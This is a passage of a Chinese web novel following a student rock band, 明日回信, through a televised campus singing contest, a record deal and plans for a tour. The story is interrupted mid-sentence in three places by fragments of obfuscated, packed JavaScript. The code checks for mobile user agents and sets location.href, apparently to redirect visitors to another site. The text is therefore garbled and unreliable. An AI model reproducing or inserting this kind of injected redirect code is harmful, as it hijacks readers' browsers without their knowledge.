曹凡声简直又气又好笑:“你个小没良心的,还知道回来。” 原来他的小猫并没有弃他而去。他抚摸着虎皮的头顶,感觉到它也在顶着自己的手心,脸上不禁露出笑意。他想,这日子好像还不算太糟糕吧。 这时有电话打了进来,曹凡声一看手机,竟是女房东的来电。刚刚变好的心情又沉了下去。 接通电话,那边问道:“小曹啊,你现在找到新的房子了吗?” 曹凡声有些不耐烦道:“不用催我,到了时间我不会在你这儿赖着不走的。” “不是这个意思。”女房东道,“我就是想问问,你要是还没找到房子的话,要不要继续住在这儿?” 曹凡声很是莫名其妙:“你们不是要把这房子租给别人了吗?” “嗐,那个老东西喝完酒跟人家大吵一架,彻底闹翻了,租房这事也没下文了。他就那副德行,整天成事不足败事有余,你别跟他一般见识。我就想着重新招租也挺麻烦,你另找房子估计也不容易。你要是愿意继续住这儿,咱们这几天就约个时间把续租合同签了吧。” 曹凡声简直难以置信,这几天下来真是峰回路转,柳暗花明。此时的心情几乎算是惊喜,却又还对前几天的事有些记仇,他不想一口答应,只是说:“我考虑考虑。” “行,那你考虑好了给我回个话。” “你微信都拉黑我了。” 女房东咳嗽一声:“已经放出来了。” 挂了电话,曹凡声把虎皮抱起来,笑道:“祖宗,咱们回家了。” 路灯在他们身后渐次亮起,春夜仍然寒凉,但已有了万物复苏的气息。 前路还长,再漂一会儿吧。 5. 放浪(乐队视角) “我要组个乐队。”这是姜珏从十三岁开始就挂在嘴边的话,不过直到上了大学才真正如愿。 如果只按时间来算,姜珏和她的双胞胎姐姐姜玺都算是吉他老手了。姐妹俩早年丧父,母亲任某三甲医院护士长,日常工作忙碌。放学以后,姐妹俩在家附近的少年宫里度过了漫长的童年时光。 少年宫有各种各样的兴趣课程,两个人一起学过画画,学过书法,还练了小半年的诗朗诵,但姜珏都提不起太大兴趣。姐妹俩又想学个乐器玩玩,姜珏选了吉他,因为音乐通常都用五线谱,而吉他谱有六条线。 姜珏不是个循规蹈矩的小孩,总希望能和别人不一样,又希望姜玺能和她一样。 那时她们还住在医院的家属院里,从小形影不离,大家都认识姜护士长家的这对双胞胎姑娘。两个人虽然长相相似,穿一样的衣服,背一样的书包,学一样的乐器,性格却大不相同——简而言之,姜玺比妹妹要省心多了。 一直到高中毕业,姐妹俩基本都在医院的食堂里解决吃饭问题。于是家属院里经常上演这样一幕,姜玺站在院子里最高的那棵香樟树下,朝树上的妹妹大喊:“姜珏,下来!去吃饭了!” “来了!”姜珏手脚灵活地下树,落地站稳后神气地挺胸抬头,再拍拍衣裤。家属院里有不少孩子,但没有谁能比她爬得更快更高,她很是以此为豪。 两个人读书时一路同校,不过姜珏的成绩还是不如姐姐。多亏有姜玺在高考前天天给她开小灶,最终两个人顺利考进了同一所大学。 姐妹俩吵吵闹闹、亲密无间地长到了十八岁,在十八岁这一年,成为大学生的姜珏开始摩拳擦掌要实现那个长久的愿望——组建一支自己的乐队。 自从十三岁在邻居姐姐家听到摇滚乐时起,她就爱上了这种叛逆吵闹的音乐。那时她看着DVD里的演出画面,开始幻想自己也抱着吉他站在舞台中央弹唱。她要组建一支伟大的乐队,而且要活得长长久久,绝不能在二十七岁就死。 后来那个邻居姐姐失踪了,报了案也找不着人,家人一提起她就抹眼泪。正值中二期的姜珏却想,那不是很酷吗?她不是失踪了,她是自由了。喜欢摇滚的人就是这么叛经离道的。 进入大学后,姜珏在校园bbs上发布帖子广征队友,又加入了社团企图拓展人脉,但回音寥寥。直到那年十一月她参加校园十大歌手比赛,凭借弹唱原创歌曲《树上有什么》拿下比赛第一名,在学校里有了些名气,于是组乐队这事便也顺利多了。 经过了小半年的筛选和磨合,一直到次年四月份,乐队成员终于稳定下来,分别是主唱兼吉他手姜珏,贝斯手兼和声姜玺,同届的键盘手孔潇,以及年长他们两届的鼓手方秀湖。 讨论乐队名字时大家集思广益,姜珏提议叫“明日回信”。在她心里,这支乐队一定能存在很久很久,而这个名字正是多年后的自己在与今天的自己对话,有一种跨越了时空的联结。这个名字得到了大家的一致赞同,乐队名至此就确定下来。 每周五晚上是乐队雷打不动的排练时间,其他时候大家有空了也会聚到一起,要么给经典曲目扒谱,要么给姜珏写的新歌编曲,或者就只是一起吃吃夜宵、聊聊八卦。几个成员刚好都是本地人,周末和暑假也常常碰头。大家年纪相仿,又有共同兴趣,很快便成了要好的朋友。 姜珏性格淘气开朗,总是四个人里最活跃的一个,作为姐姐的姜玺相比就稳重不少,孔潇是个温柔腼腆的男生,最年长的方秀湖不怎么爱说话,一开始让人觉得不好接近,但混熟了也会跟着大家一起玩闹。 乐队成员聚会时偶尔会有多一个人加入,是孔潇的朋友谢焰。孔潇说他们俩小时候在一起学琴,已经认识很多年了。谢焰是正经音乐学院的在读生,主修钢琴,比起他们这些野路子自然是专业得多,平时没少被大家逮着请教问题、寻求建议,还被授予了乐队顾问的头衔——虽然也并不值钱。 乐队组成之后,参加了不少校内的演出活动,但这些在姜珏看来都是小打小闹,她当然志不在此。靠着社团前辈的引荐,乐队在校外找到了新的据点——一家音乐餐厅。老板就是一位独立音乐人,在餐厅里搭了个小舞台,给玩音乐的年轻人们提供演出机会。 餐厅在这个片区小有名气,汇集了不同风格的地下音乐人。明日回信常在周末过来演出,演完能得到一点微薄的报酬,再分成四人份,每个人拿到的钱也只够买点喝的罢了。 乐队成立半年后,新一届的校园十大歌手比赛开始报名。姜珏去年就拿到了第一,对这个赢过的比赛已经没有兴趣,只兴致勃勃地想要参与另一个挑战。 那天她把宣传单拍在桌子上,兴奋地对大家说:“我们去报名参加比赛吧!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241339|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孔潇拿起那张宣传单,念出上面的两行大字:“‘校园新声,等你开唱’?” “什么东西,选秀吗?”姜玺不以为意地把头凑过去。 传单上是由某知名品牌冠名的一个面向高校学生的歌唱比赛,目前正在海选报名中,本市正是全国四大赛区的承办地之一,要参赛也是近水楼台。姜珏兴冲冲道:“难得有个好机会,去试试吧。” 前些年选秀节目如火如荼,制造了不少一夜成名的草根偶像。现在选秀潮虽然已经降温,但依然是个快捷高效的造星途径,意图勇闯乐坛的年轻人们难免都蠢蠢欲动。 姜玺说:“乐队也能报名吗?到时候人家都单枪匹马的,就我们一群人浩浩荡荡地上台。” “能的,这上面都写了,不限形式和流派。”姜珏得意道,“再说了,浩浩荡荡还不好吗?在气势上就能压人一头,冠军舍我其谁?” 姜玺笑道:“飘了啊。” 孔潇把宣传单仔细看了一遍:“海选在月底,刚好是周末两天。反正都有空,去试试也不错。” 他又把宣传单递给方秀湖,方秀湖接过来扫了一眼,道:“行。” 大家一拍即合,立马跟主办方报了名,很快就接到了海选通知。海选那天,前来参赛的绝大多数都是单人独唱,偶尔有个双人组合,以乐队形式参赛的倒是非常罕见。 明日回信的出现让评委们耳目一新,在开唱前,其中一位评委道:“我看到你们今天要唱的是一首原创歌曲,叫《树上有什么》。” 姜珏道:“对。” 评委饶有兴味地问:“那树上到底都有些什么呢?” 几位成员相视而笑,姜珏笑答:“白日梦。” 这是她写的第一首令自己满意的歌,灵感来自童年和少年时代最常攀爬的那棵香樟树。那些岁月里,她坐在树枝上荡着双腿俯瞰这世界,时常快乐,偶尔迷茫,又总是怀着一腔无处挥洒的热血。在轻快活泼的旋律里,歌词记载着年少时天真的烦恼,以及对未来野心勃勃的畅想。 去年她个人弹唱这首歌拿下了校园比赛的冠军,今年变成团队作战,大家为这首歌重新编曲,乐队以不插电的形式进行演绎。 几位评委在海选里见识了群魔乱舞,此时看完明日回信的表演,不由都面露赞赏的神色。刚才发问的那位笑道:“很期待能在决赛见到你们。” 6. 一分钟(乐队视角) 明日回信在校园新声的海选中脱颖而出,顺利进入了赛区的五十强,接下来就是五十进二十的淘汰赛,将在电视台演播大厅里进行。 比赛录制前要先进行彩排,那天大家在休息室里排队等待登台,姜珏百无聊赖地把玩着方秀湖的鼓槌,突然不怀好意地笑问:“今天彩排呢,这么大个事,怎么那个谁也不过来看一眼?” 姜玺哪能不明白她的意有所指,故作不懂地接茬道:“哪个谁啊?” 姜珏的眼神朝孔潇瞟去:“你问孔潇呗。” 她们俩这一唱一和的,把旁边的孔潇都弄得不好意思了。他埋着头假装捣鼓自己的合成器,装傻道:“不知道你们在说什么。” 姜珏放下了鼓槌,双手抱胸靠在墙上,对他道:“今天你这帽子选得不错,是顾问建议的吗?” 孔潇喜欢收集各式各样的帽子,每次演出都会挑选一顶适合衣服、适合曲风的帽子戴上。这时他把帽檐压得更低了一些,说:“没问他,我自己选的。” 姜珏又回到了刚才的问题:“他今天真不来啊?” 姜玺假装遗憾地叹息一声:“还以为今晚也能蹭他一顿呢,他都好久没请我们去吃夜宵了。” 姜珏对姐姐说:“那是请你的吗?人家那是请孔潇的,抹不开面子才把我们也带上了。” “也对。”姜玺转头对孔潇笑盈盈道,“真是多谢你啊。” 孔潇给她们姐妹俩揶揄得红了脸,说:“今晚我请大家吃夜宵行了吧。” 姐妹俩又接着打趣了几句,直到工作人员过来通知他们准备上台,这才消停了。 孔潇总算松了口气,想到谢焰今天真的没来,又确实感到有那么一点失落。 他和谢焰小时候在一起学琴,中间分开了好多年,上了大学后偶然重逢才变成了朋友。又因为他跟姜珏她们组了乐队,就拉着谢焰这个音乐生来给大家做参谋,目的当然没那么单纯——他喜欢谢焰,谢焰对他好像也有点那个意思,两人之间暧暧昧昧的,连其他人都看出来了。 昨天他跟谢焰说了今天乐队要在电视台彩排,谢焰就说知道了,也没什么表示。 很快有工作人员过来帮他们把乐器搬上舞台,开始试音试唱。之前乐队一直都做小场表演,还是第一次站上这么大的正经舞台。耀眼的灯光从四面聚集到台上,有些刺眼,还带着充盈的热量,热得人要冒汗。 姜珏站在舞台中央,望着下面空旷而安静的观众席,想象着台下座位都被坐满,无数观众随着他们的音乐欢呼摇摆,直到一起掀翻这里的屋顶。她有一点紧张,而心跳加速则更多是因为满腔的兴奋。当年她从DVD里观看那些燥热的演出时,期待的就是这样的时刻。 节目彩排很顺利,演出效果也相当好。今天大家趁机观察了其他选手的表现,都觉得明日回信的演出在五十强中算是上乘,对杀进前二十名很有信心。 彩排结束时已近深夜,几个人都感觉累极了,夜宵也就打算在附近随便吃点。走出电视台时,孔潇给谢焰发了条短信:我们彩排刚结束。 谢焰立刻回复:辛苦了,回去好好休息。正式比赛是在后天吗? 孔潇:对,后天下午开始。 谢焰:好。 也不知道这个“好”是什么意思,到底要不要来?现在两人的关系晦暗不明,始终无法明确捕捉到对方的心思,一颗心半悬着,有种飘忽的甜蜜,又总有些不安。 孔潇收起手机,听见姜珏和姜玺在讨论等会儿要吃点什么,方秀湖却说:“你们去吧,我得回家了。” 姜珏道:“吃了夜宵再回去吧,耗到这个点肚子都饿了。今晚孔潇还要请客呢。” “下回吧,今天太晚了。” 方秀湖家里似乎管得很严,大家便也不再挽留,与她告了别。 两天后就是正式比赛,那天只有姜玺和孔潇准时到了。孔潇见惯了这对双胞胎形影不离,这时不免有些意外,问:“姜珏没跟你一起来吗?” 姜玺说:“她去找秀湖姐了,她们俩一起过来,应该也快到了。” 这时孔潇的手机响起,是谢焰的来电,他有些雀跃地接通了电话:“喂。” “你猜我现在在哪儿呢?”谢焰的声音带着笑意。 他既然这么问了,孔潇便很难不去想:“你不会也在电视台吧?” “猜对了。”谢焰话里的笑意更浓,“正排队进观众席呢。” 孔潇欣喜道:“你怎么也不早说?” “说了还能算惊喜吗?”谢焰道,“刚好有个师姐在电视台实习,就拜托她帮我弄了张观众入场券。之前也不确定能不能弄到,所以就先不告诉你了。” 孔潇笑道:“你这张嘴还真严实。” “本来想着要是弄不到票,我翻墙也得进来。”谢焰顿了顿,又补了一句,“毕竟我是你们的顾问嘛。” 孔潇顿时就有点烦他了,又是这样,总是这样。每次谢焰表现出了点超越朋友的热情,很快又会拿出乐队作为理由,好像他的热情是给大家的,从来并非只给他一个人。 孔潇一边烦他,一边真心实意地为了他能来而高兴,说:“还翻墙呢,小心人家把你轰出去。先不说了,人家催我们过去化妆了。” “嗯,你加油。” 这天姜珏踩着点来了,而方秀湖迟到了很久,万幸在登台的前一刻终于赶到,完成了她作为明日回信鼓手的最后一场演出。 等所有的选手表演结束,主持人现场公布比赛结果,明日回信顺利进入了前二十名。 下了台,大家还没缓过刚才的那阵兴奋劲,却已到了离别的时候。方秀湖与队友们一一拥抱,哽咽道:“我今天很开心,特别开心。” 最后来到姜珏的面前,与她极紧地相拥,在她耳边轻声说:“我一点也不后悔。” 察觉到方秀湖要松开双手,姜珏抱紧了她不肯放开,她害怕这一刻就是永别:“我们等你,不管多久。” “嗯。”方秀湖忍住眼泪,挤出一个笑容,用力点了点头。 方秀湖离队后,明日回信需要一名新鼓手来共同参与接下来的比赛。鼓手不好找,所幸他们在比赛中认识了赤浪——赛区五十强里仅有的另一支乐队。赤浪遗憾未能进入二十强,明日回信与他们一商量,便把乐队鼓手郭源远借用过来了。 郭源远来自另一所学校,比姜珏他们都大一届,在上大三,人长得虎背熊腰的,性格倒是挺憨厚。郭源远的技术不错,不过跟大家还欠了点默契。这回赛程紧张,二十进十的淘汰赛就在下周,郭源远为争取最好的演出效果,还翘了不少课过来跟大家一起排练。 这天晚上排练结束,走出活动室时迎面吹来一阵秋风,姜珏拢了拢外套。旁边的孔潇一边走路一边抱着手机发短信,也没留意脚下的台阶,差点摔了一跤,幸好郭源远眼疾手快把他扶住了。 “跟谁发短信呢,这么入迷。”姜玺道。 姜珏插嘴:“你这就明知故问了啊。” 孔潇也没否认:“顾问大人给了点编曲的建议,手机上也说不清楚,他说明天会过来跟我们一起讨论。” 孔潇嘴里说起谢焰,脸上情不自禁就笑了。姜珏起哄道:“哎哟这笑得,现在还是秋天呢,你就思春上了,这季节也不对啊。” 孔潇给她逗得羞恼了,气道:“你再这样以后我都不跟你说话了。” 孔潇就是个温软的性格,就算被惹急了,放起狠话也没什么威胁的力道,姜珏一点也不怕他。旁边的郭源远听得一知半解的,但也嗅到了八卦的气息,好奇又兴奋地问:“谁啊?谁啊?” 姜玺笑道:“等明天你就知道啰。” 姜珏和孔潇走在一起,脚下踩着满地的落叶,问他:“说真的,你们两个到底算怎么回事?都那么久了还一直不清不楚的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241340|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你管那么多。” 姜珏摆出了队长的架子:“我是队长,我了解一下你跟顾问的情况还不行了。” 孔潇想了想:“他可能也有点喜欢我吧,我也不知道。” “不知道你问啊!”姜珏就看不得这种拖泥带水的作风,“不然我帮你问得了。” 孔潇一口回绝:“才不用。”过了会儿还是被好奇占据了上风:“要不你帮我旁敲侧击一下吧。” 第二天晚上,乐队排练时谢焰也来了。谢焰从小接受古典音乐教育,功底自然是相当不错,说起作曲编曲也很有一番见解,只是他的理念总归与现代音乐有些不甚贴合的地方,常与姜珏的想法产生冲突。姜珏总是态度强硬,甚至十分固执,两个人吵起来也不是没有过。 不过最终还是会以姜珏的意见为主,毕竟歌是她写的,也由她来演唱,没有人比她更明白音乐里的表达。今晚她与谢焰因为比赛歌曲的演绎方式又产生了点争执,好在没吵起来,姜玺和孔潇及时把两边都摁住了。 排练结束时,谢焰提议道:“今天也晚了,我请大家去吃夜宵。” 姜玺乐道:“走走走,肚子早饿了。” 谢焰感慨道:“你们组个乐队,我一个编外人员倒是又出力又贴钱的。” 姜珏不以为然:“谁求你似的,还不是自己有所图。” 谢焰不满道:“我图什么了?” 姜珏撇了撇嘴:“你自己心里知道。” 孔潇连忙推着她的后背往前走:“好了好了,我们走吧。” 几个人来到学校外面的小吃街,点了一桌烧烤。郭源远主动提出去买喝的,殷勤地抱了一堆饮料回来。上一场比赛他跟着赤浪被淘汰了,现在被明日回信借过来,又有机会继续上台表演,其实是意外之喜,因此不光排练时格外积极,还一有机会就对大家示好。 分发饮料时,郭源远小声问姜玺:“你不是说那个谁今晚会过来吗?” 姜玺没明白:“谁?” “孔潇他对象啊,你说等到今天就能见到了的。” 原来还记着这茬呢。姜玺忍不住偷笑,小声对他说:“已经来了呀。” “哪儿呢?”郭源远环视一圈,见桌上还是那几个人,唯独比较特殊的就是那个今晚刚出现的乐队编外人员。他突然反应过来,大惊失色地问那两人:“啊?原来你们俩是一对吗?” 孔潇和谢焰正坐在一块说话,突然听见他这么一吼,顿时都吓着了。孔潇连忙否认:“没有没有!你别听她们胡说。” 谢焰本想说点什么,但见孔潇不假思索地否认,便也闭嘴了。 姜珏看得拍腿哈哈大笑,道:“谢焰,你一个编外人员对我们乐队又出力又贴钱的,到底图的什么啊?” 谢焰打开一罐可乐,喝下一口:“我热心,不行吗?” “我看是冲着孔潇的面子吧。” 谢焰目光闪烁:“算是吧。” “你就那么在意孔潇?”姜珏终于直击要害,“你是不是喜欢他啊?” 这话一出,孔潇的手心都冒汗了。而姜珏双手抱胸,戏谑地看着谢焰。姜玺抓紧了妹妹的衣服,一脸看好戏的表情。郭源远从没见过这种场面,又是惊讶又是惊吓的,嘴都合不上了。 大家都在等待着谢焰的答案。 在这静默的一分钟里,只见谢焰涨红了脸,都快把手里的易拉罐捏爆了,最后心一横,承认道:“是啊。”又理直气壮地反问:“那又怎么了?” “哇哦——!”大家集体高声起哄。姜珏都快从椅子上跳起来了,兴奋道:“孔潇,人家都表态了,你也吱一声啊!” 谢焰紧张又期待地看着他,他不好意思地挠了挠后脑,面红耳赤道:“我……也是。” 这对有情人总算互通心意。姜珏和姜玺快乐地互相击掌,郭源远咣咣地拍着桌子,大声喝彩道:“干杯!干杯!” 7.独一(乐队视角) 很快就到了二十进十的淘汰赛,明日回信在这场比赛里依然顺利晋级了,接下来就要与其他九位选手决出名次,排在前五名的可以进入全国总决赛。 既然是选秀,人气当然是决定选手名次的第一要素,观众可以通过短信和网络进行投票。几位队友都发动了所有人脉去投票和拉票。 先前没太关注比赛的姜玉梅护士长也在积极发挥主观能动性,逢人就招呼去给两个女儿投票,连在病房里看电视的病人都没放过:“你看过那个《校园新声》没?今天下午有重播。我女儿也参加了,他们四个人搞了个组合。你看着要是喜欢就给他们投两票呗。” 姜珏自己画了拉票的宣传画,贴在宿舍楼的每个楼层。当班干的朋友号召全班一起给他们乐队投票,连学院辅导员在给大家开会时都提了一嘴这事。她一时间成了全院的大明星,在别院和各个社团里也声名鹊起,谁见了她都要说几句祝贺和加油的话。她平时做人就不低调,现在又风头一时无两,招摇得慌,难免就有些人看她不太顺眼。 不过姜珏对此毫不在意,反正那些人也不敢到她眼前来叽叽歪歪,就算敢,她又不是不会骂人。 能够进入赛区前十名的选手们,各个都非等闲之辈,其中不乏艺术院校里的专业歌者。明日回信作为一支成立仅半年多的年轻乐队,想要胜出并不容易。 大家在选歌上也犹豫不决,如果选择一首耳熟能详的歌曲参赛,或许更能博得观众的共鸣和喜爱。如果选择用原创歌曲参赛,难免会有遇冷的风险,但也可能凭借强烈的风格脱颖而出。 大家凑在一起讨论了很久,最终敲定要唱那首在海选时唱过的《树上有什么》,这是最能代表明日回信风格的一首歌。 决赛那天是直播,台前幕后前所未有的紧张和严肃。虽然大家在一开始时放过一些豪言壮语,但其实都没想到最后竟真能走到决赛,这个结果固然令人欣喜,也带来了不小的压力。 明日回信抽签在倒数第二个出场,上台之前,四个人把手握在一起互相打气。 “我们人数最多,给他们一点人多力量大的气势瞧瞧。”姜玺笑道。 “最后一场了,全力以赴吧。”孔潇说。 “能赢的。”姜珏胸有成竹。 “能赢!”郭源远重复道。 彼此正是并肩冲锋的战士,即将去那流光溢彩的舞台上打一场漂亮的胜仗。 四个人来到台上各自属于自己的位置,姜珏站在中央的话筒架子后,四周灯光暗下来。她望着台下满席的观众,捏着吉他拨片的手指在微微战栗。 她弹完第一串和弦,姜玺的贝斯和郭源远的鼓声同时跟上,灯光也随之亮起。台下发出一阵欢呼,大家在听完前面八首抒情歌和舞曲之后,从这躁动的音乐中体会到了不一样的激情。姜珏唱到高潮处,数名观众情不自禁起身挥手喝彩,热烈的声浪几乎要引爆这宽阔的演播大厅。 一曲结束,四个人都感觉酣畅淋漓。他们一直渴望的正是这般与听者的激烈共振,成绩在此时已经不那么重要了。 而成绩当然也没有辜负他们的期待。等全部竞演结束,综合评委打分、现场投票数和场外投票数,明日回信拿下了全场第三名,顺利进入全国总决赛。 比赛结束后,四个人在后台一边收拾乐器一边说说笑笑,还处在那阵兴奋的情绪中。正要离开时,有人叫住了姜珏。她转头看去,发现是叶英华——当初在海选中向他们发问的那位评委。 她几步走过去,殷切叫道:“叶老师。” 叶英华是位老前辈了,从九十年代初就活跃于乐坛,是国内天后级别的歌手。之前她隐退了几年,一复出就担任本届《校园新声》的评委,也是这个节目的噱头之一。 叶英华笑道:“之前我果然没有看错你们,最后真的在决赛里见面了。” 姜珏一点也没谦虚,开心道:“多谢叶老师慧眼识珠。” “接下来就是总决赛了,有想过要以别的形式来表演吗?” “别的形式?”姜珏没太明白。 “比如你们两姐妹组一个组合。”叶英华说,“双胞胎是个很好的卖点,你们形象不错,又能创作,放眼整个乐坛也是很稀缺的。如果从乐队转成二人组合,放大你们的特质,会让你们未来走得更远。” 姜珏不假思索道:“我只想做乐队。” “你要听实话吗?”叶英华笑道,“你们的技术、配合度都还很稚嫩,就是靠旋律和气氛来抓住观众的情绪。如果你专心唱歌,搭配专业的伴奏团队,演出效果可以更上一层楼。” 姜珏略有些不服气,还是重复道:“可我就是想做乐队。” “喜欢摇滚乐?”叶英华问。 姜珏用力点点头。 “我以前也玩过摇滚。”叶英华说。她看见姜珏露出意外的表情,便笑道:“是年轻的时候了,不过玩摇滚养活不了自己,后来就改唱流行了,所以我今天才能坐在这里当评委。” 姜珏听明白了她的意思,可仍是坚持:“现在跟以前不一样了。” 叶英华便也不再劝她,只是拍拍她的肩膀,笑道:“年轻人有心气是好事。我挺欣赏你的,往后加油吧。” 那年冬天,明日回信在《校园新声》总决赛里与来自全国各地的选手们同台较量,最终拿下那届比赛的第六名。《树上有什么》经过重新录制,被收录进比赛的官方精选专辑里,一时成为小有热度的歌曲。 对于全国第六的成绩,大家都觉得还挺满意,毕竟已经远超最初的预期,其中郭源远最为喜出望外——他原本的乐队连赛区二十强都没进,现在跟着明日回信拿到了全国第六,完全是天降大运了。 姜珏则多少有些不甘,在比赛中走得越远,就变得越贪心了。她想起当初叶英华的话,如果自己不是非要做乐队,而是以双胞胎为卖点,跟姜玺组成一个少女组合,是不是真能拿到更多的票数、更高的名次呢? 但现实没有如果,她也并不后悔。 因为这学期忙着参加比赛,几个人难免都被耽误了学业。赛程结束时已经临近期末,经过一轮突击复习,姜玺和孔潇顺利通过了各科考试,姜珏不幸挂了两门课,最倒霉的要数郭源远,成绩可以用惨不忍睹来形容。 趁着比赛的余热未过,有唱片公司向明日回信抛来了橄榄枝。次年初,明日回信与金轮唱片签约,正式成为其旗下艺人,此后便有了经纪人,有了专辑计划。四个人在身份的巨变中感到飘飘然——他们是真要当明星了。 乐队得有一个自己的标志,公司问他们有什么想法。大家凑在一起讨论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246288|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天,最后决定用一棵手绘的大树作为乐队标志,既呼应了乐队的出道曲,又象征着无尽的生命力,下面配上大写的TLFT,即The Letter From Tomorrow的首字母。 签约后,公司帮他们在课余时间接一些商演,同时安排培训,新专辑也在筹备中。彼时明日回信的身价并不高,公司要抽掉六成酬劳,剩下的四成四人均分,还要扣掉五分之一的税,实际到手的钱不多,但对于学生来说已经是一笔很不小的收入。 那阵子大家都有点飘了,他们的成就在周围循规蹈矩的大学生中显得多么非凡和耀眼。姜玺和孔潇还踏实一些,平时都尽量兼顾功课。姜珏整天就琢磨着新专辑的词曲,课程翘掉不少,有时候就算人去了,心思也没留在课堂上。郭源远更不用说,本来脑子就不大聪明,为数不多的智商净研究打鼓去了,明年怕是连毕业证都岌岌可危。 那年五月,明日回信的首张专辑《怒海!》面市,词曲基本由姜珏一手包办。公司充分尊重乐队的创作,也给了他们很大自由度。专辑包含了《怒海!》《上房揭瓦》《我反对》《射日》等多首佳作,整张专辑情绪浓烈,概念完整,充满了勇武的少年意气,以叛逆无畏的口吻向世界发出尖锐的诘问。 《怒海!》上市后得到了专业乐评人的诸多好评,然而销量并没有达到预期。本身全国第六名就不那么亮眼,选秀的热度又在这半年里迅速退去,摇滚曲风的受众也有限——那又怎样呢? 在初露锋芒的大家眼里,尤其在姜珏眼里,只是那帮庸人不识货罢了。 接近年底时,明日回信凭借这张专辑入围了不少音乐奖项,最让大家兴奋的是入围了惊鸣奖——摇滚圈内公认的最高奖项。不光提名了最佳新人,还与不少知名乐队一起提名了最佳词作、最佳歌曲与最佳唱片,虽然最终只斩获了最佳新人奖,但无疑成为了年度最亮眼的年轻乐队。 宣布获奖结果时,大家激动地拥抱欢呼。作为队长的姜珏接过了那个沉甸甸如板砖的奖杯,对着话筒说道:“感谢台下的前辈们、评委老师们,感谢我们的乐迷,你们很有眼光,这个奖——” 四个人齐声说道:“我们配得上!” 台下响起一片大笑和掌声。姜珏又道:“这个奖也要送给我们的一个好朋友。”她对着那个遥远的并不能听到的人说:“是因为你才有了《怒海!》,你配得上。” 年末时,老牌摇滚乐队蜂鸟要在本市举办跨年专场演唱会,邀请了明日回信作为暖场嘉宾。 演唱会在峤山体育馆里举行,是个历史悠久的老场馆了,前些年刚翻新过,馆内能容纳一万五千人。这里并不是明星演出的首选址,但峤山体育馆与摇滚乐有着极深的渊源,大概每个摇滚人都梦想过能在这里开唱。 明日回信第一次在这样广阔的舞台上演出,舞台的四面座无虚席,一万五千名乐迷跟随他们的音乐欢呼尖叫,但今晚的乐迷并不是为他们而来。 四个人都暗暗发誓,总有一天,明日回信也要在这里举行专场演唱会。 这一年,姜珏、姜玺和孔潇都是二十岁,郭源远二十一岁,初进乐坛便锋芒毕露,又风华正茂,正是最狂妄的时候,心中无所畏惧,未来无所不可。 就算是最遥远的理想,也仿佛伸手可握。 8.旅途(乐队视角) 转眼明日回信已经成立满两年。郭源远即将在六月份毕业,其他三人也是大三生了。 平时还是照旧兼顾学业和事业。公司并不会给他们接很多活儿,说实话,他们在大众之中的知名度也没那么高。受邀去过一两个音乐节,或者作为同公司更大牌的歌手的捆绑嘉宾,赚点演出费,抽成扣税后的收入跟大明星相比只能算九牛一毛,但足以过得比普通学生滋润多了。 大家对现状都还算满意,想着等毕业了再专心做职业乐队,那才是他们大展拳脚的时候呢。 因为戴上了出道艺人的光环,周围的同学朋友自然都对他们另眼相待,平时会充满好奇地问这问那,毫不掩饰地表达羡慕与崇拜,偶尔也会有一些酸溜溜的议论,都不足挂齿。 姜玉梅护士长的那些老同事们、医院家属院里的老邻居们,也没少夸奖她家那对双胞胎:“玉梅姐的两个女儿参加唱歌比赛拿了奖,现在都成大明星啦!” “这两姐妹从小就机灵,以前我就觉得她们是要干大事的。” “说不定明年就能在春晚上看到她们啰!” 姜玉梅心里都笑开了花,不过面上还是谦虚道:“也就是些小打小闹,她们捣鼓的那些东西我都不爱听。” 五月初的某天,经纪人小廖问明日回信的几位成员:“有考虑过去巡演吗?” 巡演?大家在听到这个词时,心里立刻联想到了公路、livehouse、与热情乐迷们的近距离互动,很难不对此产生憧憬。但巡演对于明日回信这样的年轻乐队来说,是不是还太早了一些呢?他们只出过一张专辑,共计十二首歌,似乎还不足以撑起一个专场演出。 而且圈内也流传着这样一个传说——乐队在巡演回来后都会解散。虽然这概率并非高达百分之百,但也给巡演蒙上了几分诅咒的色彩。 姜玺问小廖:“怎么,公司是打算给我们弄巡演吗?” 孔潇有些顾虑:“作品还不够吧。一场演出按两个小时来算,起码也得有二十首歌。” 小廖说:“之前你们交了二十多首过来,录专辑才选了十二首,还剩下不少呢。”又看向姜珏:“你不是特别能写歌吗,今年没搞出几首新的来?” 姜珏说:“是新写了一些,再从旧歌里挑几首,凑到二十首歌应该没什么问题。” “那你们先选一选歌,选好了就得开始抓紧排练了,过两个月正好趁暑假出去巡演。” 这下姜珏也惊了:“真去啊?” 